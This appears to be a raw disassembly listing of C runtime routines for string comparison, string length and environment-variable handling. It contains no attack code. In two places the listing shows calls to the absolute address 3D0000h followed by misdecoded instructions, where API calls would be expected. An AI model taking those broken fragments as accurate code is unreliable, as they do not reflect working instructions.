		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_436820	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4369D0	proc near		; CODE XREF: sub_436070+2Dp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43AF60
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		cmp	ds:dword_4EED00, 0
		jnz	short loc_436A56
		push	1
		push	offset dword_43A2A8
		push	1
		push	offset dword_43A2A8
		push	0
		push	0
		call	ds:dword_4F12A4	; CompareStringW
		test	eax, eax
		jz	short loc_436A27
		mov	ds:dword_4EED00, 1
		jmp	short loc_436A56
; ---------------------------------------------------------------------------


loc_436A27:				; CODE XREF: sub_4369D0+49j
		push	1
		push	offset dword_43A2A4
		push	1
		push	offset dword_43A2A4
		push	0
		push	0
		call	ds:dword_4F12A8	; CompareStringA
		test	eax, eax
		jz	short loc_436A4F
		mov	ds:dword_4EED00, 2
		jmp	short loc_436A56
; ---------------------------------------------------------------------------


loc_436A4F:				; CODE XREF: sub_4369D0+71j
		xor	eax, eax
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436A56:				; CODE XREF: sub_4369D0+2Dj
					; sub_4369D0+55j ...
		cmp	[ebp+arg_C], 0
		jle	short loc_436A6F
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		call	sub_436DD0
		add	esp, 8
		mov	[ebp+arg_C], eax


loc_436A6F:				; CODE XREF: sub_4369D0+8Aj
		cmp	[ebp+arg_14], 0
		jle	short loc_436A88
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		call	sub_436DD0
		add	esp, 8
		mov	[ebp+arg_14], eax


loc_436A88:				; CODE XREF: sub_4369D0+A3j
		cmp	ds:dword_4EED00, 2
		jnz	short loc_436AB4
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F12A8	; CompareStringA
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436AB4:				; CODE XREF: sub_4369D0+BFj
		cmp	ds:dword_4EED00, 1
		jnz	loc_436DB2
		cmp	[ebp+arg_18], 0
		jnz	short loc_436AD0
		mov	ecx, ds:dword_4EEA80
		mov	[ebp+arg_18], ecx


loc_436AD0:				; CODE XREF: sub_4369D0+F5j
		cmp	[ebp+arg_C], 0
		jz	short loc_436AE0
		cmp	[ebp+arg_14], 0
		jnz	loc_436C5C


loc_436AE0:				; CODE XREF: sub_4369D0+104j
		mov	edx, [ebp+arg_C]
		cmp	edx, [ebp+arg_14]
		jnz	short loc_436AF2
		mov	eax, 2
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436AF2:				; CODE XREF: sub_4369D0+116j
		cmp	[ebp+arg_14], 1
		jle	short loc_436B02
		mov	eax, 1
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436B02:				; CODE XREF: sub_4369D0+126j
		cmp	[ebp+arg_C], 1
		jle	short loc_436B12
		mov	eax, 3
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436B12:				; CODE XREF: sub_4369D0+136j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		call	near ptr 3D0000h
		mov	ds:775C085h, eax
		xor	eax, eax
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436B2B:				; CODE XREF: sub_4369D0+198j
		cmp	[ebp+arg_C], 0
		jnz	short loc_436B37
		cmp	[ebp+arg_14], 1
		jz	short loc_436B64


loc_436B37:				; CODE XREF: sub_4369D0+15Fj
		cmp	[ebp+arg_C], 1
		jnz	short loc_436B43
		cmp	[ebp+arg_14], 0
		jz	short loc_436B64


loc_436B43:				; CODE XREF: sub_4369D0+16Bj
		push	offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"...
		push	0
		push	0B6h
		push	offset dword_43AF14
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_436B64
		int	3		; Trap to Debugger


loc_436B64:				; CODE XREF: sub_4369D0+165j
					; sub_4369D0+171j ...
		xor	edx, edx
		test	edx, edx
		jnz	short loc_436B2B
		cmp	[ebp+arg_C], 0
		jle	short loc_436BE3
		cmp	[ebp+var_3C], 2
		jnb	short loc_436B80
		mov	eax, 3
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436B80:				; CODE XREF: sub_4369D0+1A4j
		lea	eax, [ebp+var_36]
		mov	[ebp+var_40], eax
		jmp	short loc_436B91
; ---------------------------------------------------------------------------


loc_436B88:				; CODE XREF: sub_4369D0:loc_436BD7j
		mov	ecx, [ebp+var_40]
		add	ecx, 2
		mov	[ebp+var_40], ecx


loc_436B91:				; CODE XREF: sub_4369D0+1B6j
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		test	eax, eax
		jz	short loc_436BD9
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx+1]
		test	edx, edx
		jz	short loc_436BD9
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx]
		cmp	ecx, eax
		jl	short loc_436BD7
		mov	ecx, [ebp+arg_8]
		xor	edx, edx
		mov	dl, [ecx]
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		cmp	edx, ecx
		jg	short loc_436BD7
		mov	eax, 2
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436BD7:				; CODE XREF: sub_4369D0+1E8j
					; sub_4369D0+1FBj
		jmp	short loc_436B88
; ---------------------------------------------------------------------------


loc_436BD9:				; CODE XREF: sub_4369D0+1CAj
					; sub_4369D0+1D6j
		mov	eax, 3
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436BE3:				; CODE XREF: sub_4369D0+19Ej
		cmp	[ebp+arg_14], 0
		jle	short loc_436C5C
		cmp	[ebp+var_3C], 2
		jnb	short loc_436BF9
		mov	eax, 1
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436BF9:				; CODE XREF: sub_4369D0+21Dj
		lea	edx, [ebp+var_36]
		mov	[ebp+var_40], edx
		jmp	short loc_436C0A
; ---------------------------------------------------------------------------


loc_436C01:				; CODE XREF: sub_4369D0:loc_436C50j
		mov	eax, [ebp+var_40]
		add	eax, 2
		mov	[ebp+var_40], eax


loc_436C0A:				; CODE XREF: sub_4369D0+22Fj
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_436C52
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, [eax+1]
		test	ecx, ecx
		jz	short loc_436C52
		mov	edx, [ebp+arg_10]
		xor	eax, eax
		mov	al, [edx]
		mov	ecx, [ebp+var_40]
		xor	edx, edx
		mov	dl, [ecx]
		cmp	eax, edx
		jl	short loc_436C50
		mov	eax, [ebp+arg_10]
		xor	ecx, ecx
		mov	cl, [eax]
		mov	edx, [ebp+var_40]
		xor	eax, eax
		mov	al, [edx+1]
		cmp	ecx, eax
		jg	short loc_436C50
		mov	eax, 2
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436C50:				; CODE XREF: sub_4369D0+261j
					; sub_4369D0+274j
		jmp	short loc_436C01
; ---------------------------------------------------------------------------


loc_436C52:				; CODE XREF: sub_4369D0+243j
					; sub_4369D0+24Fj
		mov	eax, 1
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436C5C:				; CODE XREF: sub_4369D0+10Aj
					; sub_4369D0+217j
		push	0
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jnz	short loc_436C84
		xor	eax, eax
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436C84:				; CODE XREF: sub_4369D0+2ABj
		mov	[ebp+var_4], 0
		mov	eax, [ebp+var_1C]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp+var_44], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_44]
		mov	[ebp+var_24], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_436CC6
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_24], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_436CC6:				; CODE XREF: sub_4369D0+2DDj
		cmp	[ebp+var_24], 0
		jnz	short loc_436CD3
		xor	eax, eax
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436CD3:				; CODE XREF: sub_4369D0+2FAj
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+var_24]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_436CFA
		xor	eax, eax
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436CFA:				; CODE XREF: sub_4369D0+321j
		push	0
		push	0
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	9
		mov	eax, [ebp+arg_18]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jnz	short loc_436D22
		xor	eax, eax
		jmp	loc_436DB4
; ---------------------------------------------------------------------------


loc_436D22:				; CODE XREF: sub_4369D0+349j
		mov	[ebp+var_4], 1
		mov	eax, [ebp+var_20]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp+var_48], esp
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+var_48]
		mov	[ebp+var_28], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_436D64
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_28], 0
		mov	[ebp+var_4], 0FFFFFFFFh


loc_436D64:				; CODE XREF: sub_4369D0+37Bj
		cmp	[ebp+var_28], 0
		jnz	short loc_436D6E
		xor	eax, eax
		jmp	short loc_436DB4
; ---------------------------------------------------------------------------


loc_436D6E:				; CODE XREF: sub_4369D0+398j
		mov	edx, [ebp+var_20]
		push	edx
		mov	eax, [ebp+var_28]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		push	1
		mov	eax, [ebp+arg_18]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_436D92
		xor	eax, eax
		jmp	short loc_436DB4
; ---------------------------------------------------------------------------


loc_436D92:				; CODE XREF: sub_4369D0+3BCj
		mov	ecx, [ebp+var_20]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		mov	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	ds:dword_4F12A4	; CompareStringW
		jmp	short loc_436DB4
; ---------------------------------------------------------------------------


loc_436DB2:				; CODE XREF: sub_4369D0+EBj
		xor	eax, eax


loc_436DB4:				; CODE XREF: sub_4369D0+81j
					; sub_4369D0+DFj ...
		lea	esp, [ebp-54h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4369D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436DD0	proc near		; CODE XREF: sub_4369D0+94p
					; sub_4369D0+ADp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx


loc_436DE2:				; CODE XREF: sub_436DD0+35j
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+var_8]
		sub	eax, 1
		mov	[ebp+var_8], eax
		test	edx, edx
		jz	short loc_436E07
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jz	short loc_436E07
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_436DE2
; ---------------------------------------------------------------------------


loc_436E07:				; CODE XREF: sub_436DD0+20j
					; sub_436DD0+2Aj
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_436E19
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_0]
		jmp	short loc_436E1C
; ---------------------------------------------------------------------------


loc_436E19:				; CODE XREF: sub_436DD0+3Fj
		mov	eax, [ebp+arg_4]


loc_436E1C:				; CODE XREF: sub_436DD0+47j
		mov	esp, ebp
		pop	ebp
		retn
sub_436DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436E20	proc near		; CODE XREF: sub_4360C0+92p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		cmp	[ebp+arg_0], 0
		jz	short loc_436E4C
		push	3Dh
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_437270
		add	esp, 8
		mov	[ebp+var_18], eax
		cmp	[ebp+var_18], 0
		jz	short loc_436E4C
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [ebp+var_18]
		jnz	short loc_436E54


loc_436E4C:				; CODE XREF: sub_436E20+Bj
					; sub_436E20+22j
		or	eax, 0FFFFFFFFh
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_436E54:				; CODE XREF: sub_436E20+2Aj
		mov	edx, [ebp+var_18]
		movsx	eax, byte ptr [edx+1]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_14], eax
		mov	ecx, ds:dword_4EE988
		cmp	ecx, ds:dword_4EE98C
		jnz	short loc_436E85
		mov	edx, ds:dword_4EE988
		push	edx
		call	sub_437180
		add	esp, 4
		mov	ds:dword_4EE988, eax


loc_436E85:				; CODE XREF: sub_436E20+4Fj
		cmp	ds:dword_4EE988, 0
		jnz	loc_436F45
		cmp	[ebp+arg_4], 0
		jz	short loc_436EB7
		cmp	ds:dword_4EE990, 0
		jz	short loc_436EB7
		call	sub_4360C0
		test	eax, eax
		jz	short loc_436EB2
		or	eax, 0FFFFFFFFh
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_436EB2:				; CODE XREF: sub_436E20+88j
		jmp	loc_436F45
; ---------------------------------------------------------------------------


loc_436EB7:				; CODE XREF: sub_436E20+76j
					; sub_436E20+7Fj
		cmp	[ebp+var_14], 0
		jz	short loc_436EC4
		xor	eax, eax
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_436EC4:				; CODE XREF: sub_436E20+9Bj
		cmp	ds:dword_4EE988, 0
		jnz	short loc_436F04
		push	87h
		push	offset dword_43AF78
		push	2
		push	4
		call	sub_41AE60
		add	esp, 10h
		mov	ds:dword_4EE988, eax
		cmp	ds:dword_4EE988, 0
		jnz	short loc_436EF9
		or	eax, 0FFFFFFFFh
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_436EF9:				; CODE XREF: sub_436E20+CFj
		mov	eax, ds:dword_4EE988
		mov	dword ptr [eax], 0


loc_436F04:				; CODE XREF: sub_436E20+ABj
		cmp	ds:dword_4EE990, 0
		jnz	short loc_436F45
		push	8Eh
		push	offset dword_43AF78
		push	2
		push	4
		call	sub_41AE60
		add	esp, 10h
		mov	ds:dword_4EE990, eax
		cmp	ds:dword_4EE990, 0
		jnz	short loc_436F39
		or	eax, 0FFFFFFFFh
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_436F39:				; CODE XREF: sub_436E20+10Fj
		mov	ecx, ds:dword_4EE990
		mov	dword ptr [ecx], 0


loc_436F45:				; CODE XREF: sub_436E20+6Cj
					; sub_436E20:loc_436EB2j ...
		mov	edx, ds:dword_4EE988
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_18]
		sub	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_437100
		add	esp, 8
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jl	loc_437001
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx], 0
		jz	loc_437001
		cmp	[ebp+var_14], 0
		jz	short loc_436FF3
		push	2
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		jmp	short loc_436F9F
; ---------------------------------------------------------------------------


loc_436F96:				; CODE XREF: sub_436E20+19Ej
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax


loc_436F9F:				; CODE XREF: sub_436E20+174j
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+ecx*4], 0
		jz	short loc_436FC0
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [esi+edx*4+4]
		mov	[ecx+eax*4], edx
		jmp	short loc_436F96
; ---------------------------------------------------------------------------


loc_436FC0:				; CODE XREF: sub_436E20+189j
		push	0B9h
		push	offset dword_43AF78
		push	2
		mov	eax, [ebp+var_8]
		shl	eax, 2
		push	eax
		mov	ecx, [ebp+var_C]
		push	ecx
		call	sub_41B2F0
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_436FF1
		mov	edx, [ebp+var_C]
		mov	ds:dword_4EE988, edx


loc_436FF1:				; CODE XREF: sub_436E20+1C6j
		jmp	short loc_436FFF
; ---------------------------------------------------------------------------


loc_436FF3:				; CODE XREF: sub_436E20+15Ej
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_0]
		mov	[ecx+eax*4], edx


loc_436FFF:				; CODE XREF: sub_436E20:loc_436FF1j
		jmp	short loc_437074
; ---------------------------------------------------------------------------


loc_437001:				; CODE XREF: sub_436E20+148j
					; sub_436E20+154j
		cmp	[ebp+var_14], 0
		jnz	short loc_43706D
		cmp	[ebp+var_8], 0
		jge	short loc_437015
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_437015:				; CODE XREF: sub_436E20+1EBj
		push	0CEh
		push	offset dword_43AF78
		push	2
		mov	ecx, [ebp+var_8]
		lea	edx, ds:8[ecx*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41B2F0
		add	esp, 14h
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_437049
		or	eax, 0FFFFFFFFh
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_437049:				; CODE XREF: sub_436E20+21Fj
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+arg_0]
		mov	[edx+ecx*4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+ecx*4+4], 0
		mov	eax, [ebp+var_C]
		mov	ds:dword_4EE988, eax
		jmp	short loc_437074
; ---------------------------------------------------------------------------


loc_43706D:				; CODE XREF: sub_436E20+1E5j
		xor	eax, eax
		jmp	loc_4370FB
; ---------------------------------------------------------------------------


loc_437074:				; CODE XREF: sub_436E20:loc_436FFFj
					; sub_436E20+24Bj
		cmp	[ebp+arg_4], 0
		jz	short loc_4370F9
		push	0E5h
		push	offset dword_43AF78
		push	2
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41AC70
		add	esp, 4
		add	eax, 2
		push	eax
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_4370F9
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_41E550
		add	esp, 8
		mov	ecx, [ebp+var_18]
		sub	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	0
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_14]
		neg	edx
		sbb	edx, edx
		not	edx
		and	edx, [ebp+var_4]
		push	edx
		mov	eax, [ebp+var_10]
		push	eax
		call	near ptr 3D0000h
		add	[edx+2], ch
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_41B8F0
		add	esp, 8


loc_4370F9:				; CODE XREF: sub_436E20+258j
					; sub_436E20+285j
		xor	eax, eax


loc_4370FB:				; CODE XREF: sub_436E20+2Fj
					; sub_436E20+8Dj ...
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_436E20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437100	proc near		; CODE XREF: sub_436E20+139p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, ds:dword_4EE988
		mov	[ebp+var_4], eax
		jmp	short loc_437117
; ---------------------------------------------------------------------------


loc_43710E:				; CODE XREF: sub_437100:loc_437168j
		mov	ecx, [ebp+var_4]
		add	ecx, 4
		mov	[ebp+var_4], ecx


loc_437117:				; CODE XREF: sub_437100+Cj
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0
		jz	short loc_43716A
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_436070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_437168
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [edx+eax]
		cmp	ecx, 3Dh
		jz	short loc_43715A
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [eax+ecx]
		test	edx, edx
		jnz	short loc_437168


loc_43715A:				; CODE XREF: sub_437100+48j
		mov	eax, [ebp+var_4]
		sub	eax, ds:dword_4EE988
		sar	eax, 2
		jmp	short loc_437178
; ---------------------------------------------------------------------------


loc_437168:				; CODE XREF: sub_437100+37j
					; sub_437100+58j
		jmp	short loc_43710E
; ---------------------------------------------------------------------------


loc_43716A:				; CODE XREF: sub_437100+1Dj
		mov	eax, [ebp+var_4]
		sub	eax, ds:dword_4EE988
		sar	eax, 2
		neg	eax


loc_437178:				; CODE XREF: sub_437100+66j
		mov	esp, ebp
		pop	ebp
		retn
sub_437100	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437180	proc near		; CODE XREF: sub_436E20+58p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	[ebp+var_10], 0
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_4371A0
		xor	eax, eax
		jmp	loc_43726A
; ---------------------------------------------------------------------------


loc_4371A0:				; CODE XREF: sub_437180+17j
					; sub_437180+3Bj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		mov	eax, [ebp+var_C]
		add	eax, 4
		mov	[ebp+var_C], eax
		test	edx, edx
		jz	short loc_4371BD
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx
		jmp	short loc_4371A0
; ---------------------------------------------------------------------------


loc_4371BD:				; CODE XREF: sub_437180+30j
		push	146h
		push	offset dword_43AF78
		push	2
		mov	edx, [ebp+var_10]
		lea	eax, ds:4[edx*4]
		push	eax
		call	sub_41AE60
		add	esp, 10h
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_4], ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_4371F5
		push	9
		call	sub_420CA0
		add	esp, 4


loc_4371F5:				; CODE XREF: sub_437180+69j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_C], edx


loc_4371FB:				; CODE XREF: sub_437180+DCj
		mov	eax, [ebp+var_C]
		cmp	dword ptr [eax], 0
		jz	short loc_43725E
		push	14Fh
		push	offset dword_43AF78
		push	2
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx]
		push	edx
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		call	sub_41AE60
		add	esp, 10h
		mov	ecx, [ebp+var_8]
		mov	[ecx], eax
		mov	edx, [ebp+var_8]
		cmp	dword ptr [edx], 0
		jz	short loc_43724A
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx]
		push	eax
		call	sub_41E550
		add	esp, 8


loc_43724A:				; CODE XREF: sub_437180+B4j
		mov	ecx, [ebp+var_C]
		add	ecx, 4
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_8]
		add	edx, 4
		mov	[ebp+var_8], edx
		jmp	short loc_4371FB
; ---------------------------------------------------------------------------


loc_43725E:				; CODE XREF: sub_437180+81j
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp+var_4]


loc_43726A:				; CODE XREF: sub_437180+1Bj
		mov	esp, ebp
		pop	ebp
		retn
sub_437180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_437270	proc near		; CODE XREF: sub_436E20+13p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EEE3C, 0
		jnz	short loc_437292
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E650
		add	esp, 8
		jmp	loc_437359
; ---------------------------------------------------------------------------


loc_437292:				; CODE XREF: sub_437270+Bj
		push	19h
		call	sub_421A80
		add	esp, 4
		jmp	short loc_4372A7
; ---------------------------------------------------------------------------


loc_43729E:				; CODE XREF: sub_437270:loc_437336j
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx


loc_4372A7:				; CODE XREF: sub_437270+2Cj
		mov	eax, [ebp+arg_0]
		movzx	cx, byte ptr [eax]
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_43733B
		mov	eax, [ebp+var_4]
		and	eax, 0FFh
		xor	ecx, ecx
		mov	cl, ds:byte_4EEF41[eax]
		and	ecx, 4
		test	ecx, ecx
		jz	short loc_437326
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		test	ecx, ecx
		jnz	short loc_4372F8
		push	19h
		call	sub_421B20
		add	esp, 4
		xor	eax, eax
		jmp	short loc_437359
; ---------------------------------------------------------------------------


loc_4372F8:				; CODE XREF: sub_437270+78j
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		shl	edx, 8
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cl, [eax]
		or	edx, ecx
		cmp	[ebp+arg_4], edx
		jnz	short loc_437324
		push	19h
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		jmp	short loc_437359
; ---------------------------------------------------------------------------


loc_437324:				; CODE XREF: sub_437270+A0j
		jmp	short loc_437336
